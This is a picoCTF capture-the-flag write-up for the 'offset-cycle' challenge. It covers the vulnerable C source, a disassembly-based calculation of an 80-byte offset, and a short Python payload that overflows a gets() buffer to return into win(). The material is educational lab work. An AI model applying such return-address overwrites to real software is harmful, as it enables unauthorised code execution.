picoCTF - Binary Exploitation

offset-cycle Writeup

picoCTF Offset Cycle writeup solving a binary exploitation challenge involving cyclic offset calculation and return address control.

Contents

offset-cycle Writeup

Challenge

SSH target:

ssh -p 59476 ctf-player@green-hill.picoctf.net

Password:

83dcefb7

Goal

Exploit the generated SUID binary within 120 seconds and recover the flag.

Remote Setup

After logging in, the home directory contained:

  • instructions.txt
  • start
  • CodeBank/ (not directly readable)

The instructions explained the flow:

  1. Run ./start
  2. It copies a generated C source file and compiled binary into the current directory
  3. The files are deleted after 120 seconds
  4. If the binary is exploited in time, it reveals the flag

Generated Instance

Running ./start produced:

  • 11.c
  • 11

The generated C source was:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "CodeBank/asm.h"

#define BUFSIZE 68
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("CodeBank/flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "You may not have plenty of time",
                    "to solve the challenge.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

Vulnerability

This is a classic ret2win challenge:

  • gets(buf) allows unbounded stack input
  • win() prints the flag from CodeBank/flag.txt
  • the binary is 32-bit and non-PIE, so the win() address is fixed

Security properties of the generated binary:

Arch: i386
RELRO: Partial RELRO
Canary: No
NX: Stack executable
PIE: No
Stripped: No

Important Addresses

From nm -n 11:

080491f6 T win
08049281 T vuln
080492c4 T main

So the target address was:

win = 0x080491f6

Offset Calculation

At first glance the source suggests:

  • buf[68]
  • saved ebp = 4 bytes
  • return address after 72 bytes

But the compiled binary had extra stack layout due to a saved ebx.

Disassembly of vuln:

08049281 <vuln>:
  push   ebp
  mov    ebp, esp
  push   ebx
  sub    esp, 0x54
  ...
  lea    eax, [ebp-0x4c]
  push   eax
  call   gets
  ...
  leave
  ret

The buffer starts at ebp-0x4c.

Distance from ebp-0x4c to saved return address at ebp+4:

0x4c + 0x4 = 0x50 = 80 bytes

So the correct overwrite offset is:

80

Exploit

Payload structure:

"A" * 80 + p32(0x080491f6)

One-liner used on the remote host:

python3 - <<'PY' | ./11
import sys, struct
payload = b'A'*80 + struct.pack('<I', 0x080491f6)
sys.stdout.buffer.write(payload)
PY

Result

The binary returned into win() and printed:

picoCTF{<redacted>}

Final Answer

Flag:

picoCTF{<redacted>}

Takeaway

The only real pitfall was trusting the C source buffer size too literally. The generated 32-bit function saved ebx, which shifted the real return-address offset from 72 to 80. Once the compiled stack frame was checked, the exploit was a direct ret2win.